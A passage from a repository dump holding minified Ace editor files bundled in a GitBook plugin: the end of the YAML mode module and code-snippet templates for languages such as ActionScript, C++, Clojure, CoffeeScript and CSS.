u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/yaml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/yaml_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./yaml_highlight_rules\").YamlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./folding/coffee\").FoldMode,a=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/yaml\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/abap.js",
    "content": "define(\"ace/snippets/abap\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"abap\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/abc.js",
    "content": "define(\"ace/snippets/abc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='\\nsnippet zupfnoter.print\\n\t%%%%hn.print {\"startpos\": ${1:pos_y}, \"t\":\"${2:title}\", \"v\":[${3:voices}], \"s\":[[${4:syncvoices}1,2]], \"f\":[${5:flowlines}],  \"sf\":[${6:subflowlines}], \"j\":[${7:jumplines}]}\\n\\nsnippet zupfnoter.note\\n\t%%%%hn.note {\"pos\": [${1:pos_x},${2:pos_y}], \"text\": \"${3:text}\", \"style\": \"${4:style}\"}\\n\\nsnippet zupfnoter.annotation\\n\t%%%%hn.annotation {\"id\": \"${1:id}\", \"pos\": [${2:pos}], \"text\": \"${3:text}\"}\\n\\nsnippet zupfnoter.lyrics\\n\t%%%%hn.lyrics {\"pos\": [${1:x_pos},${2:y_pos}]}\\n\\nsnippet zupfnoter.legend\\n\t%%%%hn.legend {\"pos\": [${1:x_pos},${2:y_pos}]}\\n\\n\\n\\nsnippet zupfnoter.target\\n\t\"^:${1:target}\"\\n\\nsnippet zupfnoter.goto\\n\t\"^@${1:target}@${2:distance}\"\\n\\nsnippet zupfnoter.annotationref\\n\t\"^#${1:target}\"\\n\\nsnippet zupfnoter.annotation\\n\t\"^!${1:text}@${2:x_offset},${3:y_offset}\"\\n\\n\\n',t.scope=\"abc\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/actionscript.js",
    "content": "define(\"ace/snippets/actionscript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet main\\n\tpackage {\\n\t\timport flash.display.*;\\n\t\timport flash.Events.*;\\n\t\\n\t\tpublic class Main extends Sprite {\\n\t\t\tpublic function Main (\t) {\\n\t\t\t\ttrace(\"start\");\\n\t\t\t\tstage.scaleMode = StageScaleMode.NO_SCALE;\\n\t\t\t\tstage.addEventListener(Event.RESIZE, resizeListener);\\n\t\t\t}\\n\t\\n\t\t\tprivate function resizeListener (e:Event):void {\\n\t\t\t\ttrace(\"The application window changed size!\");\\n\t\t\t\ttrace(\"New width:  \" + stage.stageWidth);\\n\t\t\t\ttrace(\"New height: \" + stage.stageHeight);\\n\t\t\t}\\n\t\\n\t\t}\\n\t\\n\t}\\nsnippet class\\n\t${1:public|internal} class ${2:name} ${3:extends } {\\n\t\tpublic function $2 (\t) {\\n\t\t\t(\"start\");\\n\t\t}\\n\t}\\nsnippet all\\n\tpackage name {\\n\\n\t\t${1:public|internal|final} class ${2:name} ${3:extends } {\\n\t\t\tprivate|public| static const FOO = \"abc\";\\n\t\t\tprivate|public| static var BAR = \"abc\";\\n\\n\t\t\t// class initializer - no JIT !! one time setup\\n\t\t\tif Cababilities.os == \"Linux|MacOS\" {\\n\t\t\t\tFOO = \"other\";\\n\t\t\t}\\n\\n\t\t\t// constructor:\\n\t\t\tpublic function $2 (\t){\\n\t\t\t\tsuper2();\\n\t\t\t\ttrace(\"start\");\\n\t\t\t}\\n\t\t\tpublic function name (a, b...){\\n\t\t\t\tsuper.name(..);\\n\t\t\t\tlable:break\\n\t\t\t}\\n\t\t}\\n\t}\\n\\n\tfunction A(){\\n\t\t// A can only be accessed within this file\\n\t}\\nsnippet switch\\n\tswitch(${1}){\\n\t\tcase ${2}:\\n\t\t\t${3}\\n\t\tbreak;\\n\t\tdefault:\\n\t}\\nsnippet case\\n\t\tcase ${1}:\\n\t\t\t${2}\\n\t\tbreak;\\nsnippet package\\n\tpackage ${1:package}{\\n\t\t${2}\\n\t}\\nsnippet wh\\n\twhile ${1:cond}{\\n\t\t${2}\\n\t}\\nsnippet do\\n\tdo {\\n\t\t${2}\\n\t} while (${1:cond})\\nsnippet while\\n\twhile ${1:cond}{\\n\t\t${2}\\n\t}\\nsnippet for enumerate names\\n\tfor (${1:var} in ${2:object}){\\n\t\t${3}\\n\t}\\nsnippet for enumerate values\\n\tfor each (${1:var} in ${2:object}){\\n\t\t${3}\\n\t}\\nsnippet get_set\\n\tfunction get ${1:name} {\\n\t\treturn ${2}\\n\t}\\n\tfunction set $1 (newValue) {\\n\t\t${3}\\n\t}\\nsnippet interface\\n\tinterface name {\\n\t\tfunction method(${1}):${2:returntype};\\n\t}\\nsnippet try\\n\ttry {\\n\t\t${1}\\n\t} catch (error:ErrorType) {\\n\t\t${2}\\n\t} finally {\\n\t\t${3}\\n\t}\\n# For Loop (same as c.snippet)\\nsnippet for for (..) {..}\\n\tfor (${2:i} = 0; $2 < ${1:count}; $2${3:++}) {\\n\t\t${4:/* code */}\\n\t}\\n# Custom For Loop\\nsnippet forr\\n\tfor (${1:i} = ${2:0}; ${3:$1 < 10}; $1${4:++}) {\\n\t\t${5:/* code */}\\n\t}\\n# If Condition\\nsnippet if\\n\tif (${1:/* condition */}) {\\n\t\t${2:/* code */}\\n\t}\\nsnippet el\\n\telse {\\n\t\t${1}\\n\t}\\n# Ternary conditional\\nsnippet t\\n\t${1:/* condition */} ? ${2:a} : ${3:b}\\nsnippet fun\\n\tfunction ${1:function_name}(${2})${3}\\n\t{\\n\t\t${4:/* code */}\\n\t}\\n# FlxSprite (usefull when using the flixel library)\\nsnippet FlxSprite\\n\tpackage\\n\t{\\n\t\timport org.flixel.*\\n\\n\t\tpublic class ${1:ClassName} extends ${2:FlxSprite}\\n\t\t{\\n\t\t\tpublic function $1(${3: X:Number, Y:Number}):void\\n\t\t\t{\\n\t\t\t\tsuper(X,Y);\\n\t\t\t\t${4: //code...}\\n\t\t\t}\\n\\n\t\t\toverride public function update():void\\n\t\t\t{\\n\t\t\t\tsuper.update();\\n\t\t\t\t${5: //code...}\\n\t\t\t}\\n\t\t}\\n\t}\\n\\n',t.scope=\"actionscript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ada.js",
    "content": "define(\"ace/snippets/ada\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ada\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/apache_conf.js",
    "content": "define(\"ace/snippets/apache_conf\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"apache_conf\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/applescript.js",
    "content": "define(\"ace/snippets/applescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"applescript\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/asciidoc.js",
    "content": "define(\"ace/snippets/asciidoc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"asciidoc\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/assembly_x86.js",
    "content": "define(\"ace/snippets/assembly_x86\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"assembly_x86\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/autohotkey.js",
    "content": "define(\"ace/snippets/autohotkey\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"autohotkey\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/batchfile.js",
    "content": "define(\"ace/snippets/batchfile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"batchfile\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/c9search.js",
    "content": "define(\"ace/snippets/c9search\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"c9search\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/c_cpp.js",
    "content": "define(\"ace/snippets/c_cpp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"## STL Collections\\n# std::array\\nsnippet array\\n\tstd::array<${1:T}, ${2:N}> ${3};${4}\\n# std::vector\\nsnippet vector\\n\tstd::vector<${1:T}> ${2};${3}\\n# std::deque\\nsnippet deque\\n\tstd::deque<${1:T}> ${2};${3}\\n# std::forward_list\\nsnippet flist\\n\tstd::forward_list<${1:T}> ${2};${3}\\n# std::list\\nsnippet list\\n\tstd::list<${1:T}> ${2};${3}\\n# std::set\\nsnippet set\\n\tstd::set<${1:T}> ${2};${3}\\n# std::map\\nsnippet map\\n\tstd::map<${1:Key}, ${2:T}> ${3};${4}\\n# std::multiset\\nsnippet mset\\n\tstd::multiset<${1:T}> ${2};${3}\\n# std::multimap\\nsnippet mmap\\n\tstd::multimap<${1:Key}, ${2:T}> ${3};${4}\\n# std::unordered_set\\nsnippet uset\\n\tstd::unordered_set<${1:T}> ${2};${3}\\n# std::unordered_map\\nsnippet umap\\n\tstd::unordered_map<${1:Key}, ${2:T}> ${3};${4}\\n# std::unordered_multiset\\nsnippet umset\\n\tstd::unordered_multiset<${1:T}> ${2};${3}\\n# std::unordered_multimap\\nsnippet ummap\\n\tstd::unordered_multimap<${1:Key}, ${2:T}> ${3};${4}\\n# std::stack\\nsnippet stack\\n\tstd::stack<${1:T}> ${2};${3}\\n# std::queue\\nsnippet queue\\n\tstd::queue<${1:T}> ${2};${3}\\n# std::priority_queue\\nsnippet pqueue\\n\tstd::priority_queue<${1:T}> ${2};${3}\\n##\\n## Access Modifiers\\n# private\\nsnippet pri\\n\tprivate\\n# protected\\nsnippet pro\\n\tprotected\\n# public\\nsnippet pub\\n\tpublic\\n# friend\\nsnippet fr\\n\tfriend\\n# mutable\\nsnippet mu\\n\tmutable\\n## \\n## Class\\n# class\\nsnippet cl\\n\tclass ${1:`Filename('$1', 'name')`} \\n\t{\\n\tpublic:\\n\t\t$1(${2});\\n\t\t~$1();\\n\\n\tprivate:\\n\t\t${3:/* data */}\\n\t};\\n# member function implementation\\nsnippet mfun\\n\t${4:void} ${1:`Filename('$1', 'ClassName')`}::${2:memberFunction}(${3}) {\\n\t\t${5:/* code */}\\n\t}\\n# namespace\\nsnippet ns\\n\tnamespace ${1:`Filename('', 'my')`} {\\n\t\t${2}\\n\t} /* namespace $1 */\\n##\\n## Input/Output\\n# std::cout\\nsnippet cout\\n\tstd::cout << ${1} << std::endl;${2}\\n# std::cin\\nsnippet cin\\n\tstd::cin >> ${1};${2}\\n##\\n## Iteration\\n# for i \\nsnippet fori\\n\tfor (int ${2:i} = 0; $2 < ${1:count}; $2${3:++}) {\\n\t\t${4:/* code */}\\n\t}${5}\\n\\n# foreach\\nsnippet fore\\n\tfor (${1:auto} ${2:i} : ${3:container}) {\\n\t\t${4:/* code */}\\n\t}${5}\\n# iterator\\nsnippet iter\\n\tfor (${1:std::vector}<${2:type}>::${3:const_iterator} ${4:i} = ${5:container}.begin(); $4 != $5.end(); ++$4) {\\n\t\t${6}\\n\t}${7}\\n\\n# auto iterator\\nsnippet itera\\n\tfor (auto ${1:i} = $1.begin(); $1 != $1.end(); ++$1) {\\n\t\t${2:std::cout << *$1 << std::endl;}\\n\t}${3}\\n##\\n## Lambdas\\n# lamda (one line)\\nsnippet ld\\n\t[${1}](${2}){${3:/* code */}}${4}\\n# lambda (multi-line)\\nsnippet lld\\n\t[${1}](${2}){\\n\t\t${3:/* code */}\\n\t}${4}\\n\",t.scope=\"c_cpp\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/cirru.js",
    "content": "define(\"ace/snippets/cirru\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"cirru\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/clojure.js",
    "content": "define(\"ace/snippets/clojure\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet comm\\n\t(comment\\n\t  ${1}\\n\t  )\\nsnippet condp\\n\t(condp ${1:pred} ${2:expr}\\n\t  ${3})\\nsnippet def\\n\t(def ${1})\\nsnippet defm\\n\t(defmethod ${1:multifn} \"${2:doc-string}\" ${3:dispatch-val} [${4:args}]\\n\t  ${5})\\nsnippet defmm\\n\t(defmulti ${1:name} \"${2:doc-string}\" ${3:dispatch-fn})\\nsnippet defma\\n\t(defmacro ${1:name} \"${2:doc-string}\" ${3:dispatch-fn})\\nsnippet defn\\n\t(defn ${1:name} \"${2:doc-string}\" [${3:arg-list}]\\n\t  ${4})\\nsnippet defp\\n\t(defprotocol ${1:name}\\n\t  ${2})\\nsnippet defr\\n\t(defrecord ${1:name} [${2:fields}]\\n\t  ${3:protocol}\\n\t  ${4})\\nsnippet deft\\n\t(deftest ${1:name}\\n\t    (is (= ${2:assertion})))\\n\t  ${3})\\nsnippet is\\n\t(is (= ${1} ${2}))\\nsnippet defty\\n\t(deftype ${1:Name} [${2:fields}]\\n\t  ${3:Protocol}\\n\t  ${4})\\nsnippet doseq\\n\t(doseq [${1:elem} ${2:coll}]\\n\t  ${3})\\nsnippet fn\\n\t(fn [${1:arg-list}] ${2})\\nsnippet if\\n\t(if ${1:test-expr}\\n\t  ${2:then-expr}\\n\t  ${3:else-expr})\\nsnippet if-let \\n\t(if-let [${1:result} ${2:test-expr}]\\n\t\t(${3:then-expr} $1)\\n\t\t(${4:else-expr}))\\nsnippet imp\\n\t(:import [${1:package}])\\n\t& {:keys [${1:keys}] :or {${2:defaults}}}\\nsnippet let\\n\t(let [${1:name} ${2:expr}]\\n\t\t${3})\\nsnippet letfn\\n\t(letfn [(${1:name) [${2:args}]\\n\t          ${3})])\\nsnippet map\\n\t(map ${1:func} ${2:coll})\\nsnippet mapl\\n\t(map #(${1:lambda}) ${2:coll})\\nsnippet met\\n\t(${1:name} [${2:this} ${3:args}]\\n\t  ${4})\\nsnippet ns\\n\t(ns ${1:name}\\n\t  ${2})\\nsnippet dotimes\\n\t(dotimes [_ 10]\\n\t  (time\\n\t    (dotimes [_ ${1:times}]\\n\t      ${2})))\\nsnippet pmethod\\n\t(${1:name} [${2:this} ${3:args}])\\nsnippet refer\\n\t(:refer-clojure :exclude [${1}])\\nsnippet require\\n\t(:require [${1:namespace} :as [${2}]])\\nsnippet use\\n\t(:use [${1:namespace} :only [${2}]])\\nsnippet print\\n\t(println ${1})\\nsnippet reduce\\n\t(reduce ${1:(fn [p n] ${3})} ${2})\\nsnippet when\\n\t(when ${1:test} ${2:body})\\nsnippet when-let\\n\t(when-let [${1:result} ${2:test}]\\n\t\t${3:body})\\n',t.scope=\"clojure\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/cobol.js",
    "content": "define(\"ace/snippets/cobol\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"cobol\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/coffee.js",
    "content": "define(\"ace/snippets/coffee\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# Closure loop\\nsnippet forindo\\n\tfor ${1:name} in ${2:array}\\n\t\tdo ($1) ->\\n\t\t\t${3:// body}\\n# Array comprehension\\nsnippet fora\\n\tfor ${1:name} in ${2:array}\\n\t\t${3:// body...}\\n# Object comprehension\\nsnippet foro\\n\tfor ${1:key}, ${2:value} of ${3:object}\\n\t\t${4:// body...}\\n# Range comprehension (inclusive)\\nsnippet forr\\n\tfor ${1:name} in [${2:start}..${3:finish}]\\n\t\t${4:// body...}\\nsnippet forrb\\n\tfor ${1:name} in [${2:start}..${3:finish}] by ${4:step}\\n\t\t${5:// body...}\\n# Range comprehension (exclusive)\\nsnippet forrex\\n\tfor ${1:name} in [${2:start}...${3:finish}]\\n\t\t${4:// body...}\\nsnippet forrexb\\n\tfor ${1:name} in [${2:start}...${3:finish}] by ${4:step}\\n\t\t${5:// body...}\\n# Function\\nsnippet fun\\n\t(${1:args}) ->\\n\t\t${2:// body...}\\n# Function (bound)\\nsnippet bfun\\n\t(${1:args}) =>\\n\t\t${2:// body...}\\n# Class\\nsnippet cla class ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`}\\n\t\t${2}\\nsnippet cla class .. constructor: ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`}\\n\t\tconstructor: (${2:args}) ->\\n\t\t\t${3}\\n\\n\t\t${4}\\nsnippet cla class .. extends ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`} extends ${2:ParentClass}\\n\t\t${3}\\nsnippet cla class .. extends .. constructor: ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`} extends ${2:ParentClass}\\n\t\tconstructor: (${3:args}) ->\\n\t\t\t${4}\\n\\n\t\t${5}\\n# If\\nsnippet if\\n\tif ${1:condition}\\n\t\t${2:// body...}\\n# If __ Else\\nsnippet ife\\n\tif ${1:condition}\\n\t\t${2:// body...}\\n\telse\\n\t\t${3:// body...}\\n# Else if\\nsnippet elif\\n\telse if ${1:condition}\\n\t\t${2:// body...}\\n# Ternary If\\nsnippet ifte\\n\tif ${1:condition} then ${2:value} else ${3:other}\\n# Unless\\nsnippet unl\\n\t${1:action} unless ${2:condition}\\n# Switch\\nsnippet swi\\n\tswitch ${1:object}\\n\t\twhen ${2:value}\\n\t\t\t${3:// body...}\\n\\n# Log\\nsnippet log\\n\tconsole.log ${1}\\n# Try __ Catch\\nsnippet try\\n\ttry\\n\t\t${1}\\n\tcatch ${2:error}\\n\t\t${3}\\n# Require\\nsnippet req\\n\t${2:$1} = require '${1:sys}'${3}\\n# Export\\nsnippet exp\\n\t${1:root} = exports ? this\\n\",t.scope=\"coffee\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/coldfusion.js",
    "content": "define(\"ace/snippets/coldfusion\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"coldfusion\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/csharp.js",
    "content": "define(\"ace/snippets/csharp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"csharp\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/css.js",
    "content": "define(\"ace/snippets/css\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet .\\n\t${1} {\\n\t\t${2}\\n\t}\\nsnippet !\\n\t !important\\nsnippet bdi:m+\\n\t-moz-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:m\\n\t-moz-border-image: ${1};\\nsnippet bdrz:m\\n\t-moz-border-radius: ${1};\\nsnippet bxsh:m+\\n\t-moz-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh:m\\n\t-moz-box-shadow: ${1};\\nsnippet bdi:w+\\n\t-webkit-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:w\\n\t-webkit-border-image: ${1};\\nsnippet bdrz:w\\n\t-webkit-border-radius: ${1};\\nsnippet bxsh:w+\\n\t-webkit-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh:w\\n\t-webkit-box-shadow: ${1};\\nsnippet @f\\n\t@font-face {\\n\t\tfont-family: ${1};\\n\t\tsrc: url(${2});\\n\t}\\nsnippet @i\\n\t@import url(${1});\\nsnippet @m\\n\t@media ${1:print} {\\n\t\t${2}\\n\t}\\nsnippet bg+\\n\tbackground: #${1:FFF} url(${2}) ${3:0} ${4:0} ${5:no-repeat};\\nsnippet bga\\n\tbackground-attachment: ${1};\\nsnippet bga:f\\n\tbackground-attachment: fixed;\\nsnippet bga:s\\n\tbackground-attachment: scroll;\\nsnippet bgbk\\n\tbackground-break: ${1};\\nsnippet bgbk:bb\\n\tbackground-break: bounding-box;\\nsnippet bgbk:c\\n\tbackground-break: continuous;\\nsnippet bgbk:eb\\n\tbackground-break: each-box;\\nsnippet bgcp\\n\tbackground-clip: ${1};\\nsnippet bgcp:bb\\n\tbackground-clip: border-box;\\nsnippet bgcp:cb\\n\tbackground-clip: content-box;\\nsnippet bgcp:nc\\n\tbackground-clip: no-clip;\\nsnippet bgcp:pb\\n\tbackground-clip: padding-box;\\nsnippet bgc\\n\tbackground-color: #${1:FFF};\\nsnippet bgc:t\\n\tbackground-color: transparent;\\nsnippet bgi\\n\tbackground-image: url(${1});\\nsnippet bgi:n\\n\tbackground-image: none;\\nsnippet bgo\\n\tbackground-origin: ${1};\\nsnippet bgo:bb\\n\tbackground-origin: border-box;\\nsnippet bgo:cb\\n\tbackground-origin: content-box;\\nsnippet bgo:pb\\n\tbackground-origin: padding-box;\\nsnippet bgpx\\n\tbackground-position-x: ${1};\\nsnippet bgpy\\n\tbackground-position-y: ${1};\\nsnippet bgp\\n\tbackground-position: ${1:0} ${2:0};\\nsnippet bgr\\n\tbackground-repeat: ${1};\\nsnippet bgr:n\\n\tbackground-repeat: no-repeat;\\nsnippet bgr:x\\n\tbackground-repeat: repeat-x;\\nsnippet bgr:y\\n\tbackground-repeat: repeat-y;\\nsnippet bgr:r\\n\tbackground-repeat: repeat;\\nsnippet bgz\\n\tbackground-size: ${1};\\nsnippet bgz:a\\n\tbackground-size: auto;\\nsnippet bgz:ct\\n\tbackground-size: contain;\\nsnippet bgz:cv\\n\tbackground-size: cover;\\nsnippet bg\\n\tbackground: ${1};\\nsnippet bg:ie\\n\tfilter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='${1}',sizingMethod='${2:crop}');\\nsnippet bg:n\\n\tbackground: none;\\nsnippet bd+\\n\tborder: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdb+\\n\tborder-bottom: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdbc\\n\tborder-bottom-color: #${1:000};\\nsnippet bdbi\\n\tborder-bottom-image: url(${1});\\nsnippet bdbi:n\\n\tborder-bottom-image: none;\\nsnippet bdbli\\n\tborder-bottom-left-image: url(${1});\\nsnippet bdbli:c\\n\tborder-bottom-left-image: continue;\\nsnippet bdbli:n\\n\tborder-bottom-left-image: none;\\nsnippet bdblrz\\n\tborder-bottom-left-radius: ${1};\\nsnippet bdbri\\n\tborder-bottom-right-image: url(${1});\\nsnippet bdbri:c\\n\tborder-bottom-right-image: continue;\\nsnippet bdbri:n\\n\tborder-bottom-right-image: none;\\nsnippet bdbrrz\\n\tborder-bottom-right-radius: ${1};\\nsnippet bdbs\\n\tborder-bottom-style: ${1};\\nsnippet bdbs:n\\n\tborder-bottom-style: none;\\nsnippet bdbw\\n\tborder-bottom-width: ${1};\\nsnippet bdb\\n\tborder-bottom: ${1};\\nsnippet bdb:n\\n\tborder-bottom: none;\\nsnippet bdbk\\n\tborder-break: ${1};\\nsnippet bdbk:c\\n\tborder-break: close;\\nsnippet bdcl\\n\tborder-collapse: ${1};\\nsnippet bdcl:c\\n\tborder-collapse: collapse;\\nsnippet bdcl:s\\n\tborder-collapse: separate;\\nsnippet bdc\\n\tborder-color: #${1:000};\\nsnippet bdci\\n\tborder-corner-image: url(${1});\\nsnippet bdci:c\\n\tborder-corner-image: continue;\\nsnippet bdci:n\\n\tborder-corner-image: none;\\nsnippet bdf\\n\tborder-fit: ${1};\\nsnippet bdf:c\\n\tborder-fit: clip;\\nsnippet bdf:of\\n\tborder-fit: overwrite;\\nsnippet bdf:ow\\n\tborder-fit: overwrite;\\nsnippet bdf:r\\n\tborder-fit: repeat;\\nsnippet bdf:sc\\n\tborder-fit: scale;\\nsnippet bdf:sp\\n\tborder-fit: space;\\nsnippet bdf:st\\n\tborder-fit: stretch;\\nsnippet bdi\\n\tborder-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:n\\n\tborder-image: none;\\nsnippet bdl+\\n\tborder-left: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdlc\\n\tborder-left-color: #${1:000};\\nsnippet bdli\\n\tborder-left-image: url(${1});\\nsnippet bdli:n\\n\tborder-left-image: none;\\nsnippet bdls\\n\tborder-left-style: ${1};\\nsnippet bdls:n\\n\tborder-left-style: none;\\nsnippet bdlw\\n\tborder-left-width: ${1};\\nsnippet bdl\\n\tborder-left: ${1};\\nsnippet bdl:n\\n\tborder-left: none;\\nsnippet bdlt\\n\tborder-length: ${1};\\nsnippet bdlt:a\\n\tborder-length: auto;\\nsnippet bdrz\\n\tborder-radius: ${1};\\nsnippet bdr+\\n\tborder-right: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdrc\\n\tborder-right-color: #${1:000};\\nsnippet bdri\\n\tborder-right-image: url(${1});\\nsnippet bdri:n\\n\tborder-right-image: none;\\nsnippet bdrs\\n\tborder-right-style: ${1};\\nsnippet bdrs:n\\n\tborder-right-style: none;\\nsnippet bdrw\\n\tborder-right-width: ${1};\\nsnippet bdr\\n\tborder-right: ${1};\\nsnippet bdr:n\\n\tborder-right: none;\\nsnippet bdsp\\n\tborder-spacing: ${1};\\nsnippet bds\\n\tborder-style: ${1};\\nsnippet bds:ds\\n\tborder-style: dashed;\\nsnippet bds:dtds\\n\tborder-style: dot-dash;\\nsnippet bds:dtdtds\\n\tborder-style: dot-dot-dash;\\nsnippet bds:dt\\n\tborder-style: dotted;\\nsnippet bds:db\\n\tborder-style: double;\\nsnippet bds:g\\n\tborder-style: groove;\\nsnippet bds:h\\n\tborder-style: hidden;\\nsnippet bds:i\\n\tborder-style: inset;\\nsnippet bds:n\\n\tborder-style: none;\\nsnippet bds:o\\n\tborder-style: outset;\\nsnippet bds:r\\n\tborder-style: ridge;\\nsnippet bds:s\\n\tborder-style: solid;\\nsnippet bds:w\\n\tborder-style: wave;\\nsnippet bdt+\\n\tborder-top: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdtc\\n\tborder-top-color: #${1:000};\\nsnippet bdti\\n\tborder-top-image: url(${1});\\nsnippet bdti:n\\n\tborder-top-image: none;\\nsnippet bdtli\\n\tborder-top-left-image: url(${1});\\nsnippet bdtli:c\\n\tborder-corner-image: continue;\\nsnippet bdtli:n\\n\tborder-corner-image: none;\\nsnippet bdtlrz\\n\tborder-top-left-radius: ${1};\\nsnippet bdtri\\n\tborder-top-right-image: url(${1});\\nsnippet bdtri:c\\n\tborder-top-right-image: continue;\\nsnippet bdtri:n\\n\tborder-top-right-image: none;\\nsnippet bdtrrz\\n\tborder-top-right-radius: ${1};\\nsnippet bdts\\n\tborder-top-style: ${1};\\nsnippet bdts:n\\n\tborder-top-style: none;\\nsnippet bdtw\\n\tborder-top-width: ${1};\\nsnippet bdt\\n\tborder-top: ${1};\\nsnippet bdt:n\\n\tborder-top: none;\\nsnippet bdw\\n\tborder-width: ${1};\\nsnippet bd\\n\tborder: ${1};\\nsnippet bd:n\\n\tborder: none;\\nsnippet b\\n\tbottom: ${1};\\nsnippet b:a\\n\tbottom: auto;\\nsnippet bxsh+\\n\tbox-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh\\n\tbox-shadow: ${1};\\nsnippet bxsh:n\\n\tbox-shadow: none;\\nsnippet bxz\\n\tbox-sizing: ${1};\\nsnippet bxz:bb\\n\tbox-sizing: border-box;\\nsnippet bxz:cb\\n\tbox-sizing: content-box;\\nsnippet cps\\n\tcaption-side: ${1};\\nsnippet cps:b\\n\tcaption-side: bottom;\\nsnippet cps:t\\n\tcaption-side: top;\\nsnippet cl\\n\tclear: ${1};\\nsnippet cl:b\\n\tclear: both;\\nsnippet cl:l\\n\tclear: left;\\nsnippet cl:n\\n\tclear: none;\\nsnippet cl:r\\n\tclear: right;\\nsnippet cp\\n\tclip: ${1};\\nsnippet cp:a\\n\tclip: auto;\\nsnippet cp:r\\n\tclip: rect(${1:0} ${2:0} ${3:0} ${4:0});\\nsnippet c\\n\tcolor: #${1:000};\\nsnippet ct\\n\tcontent: 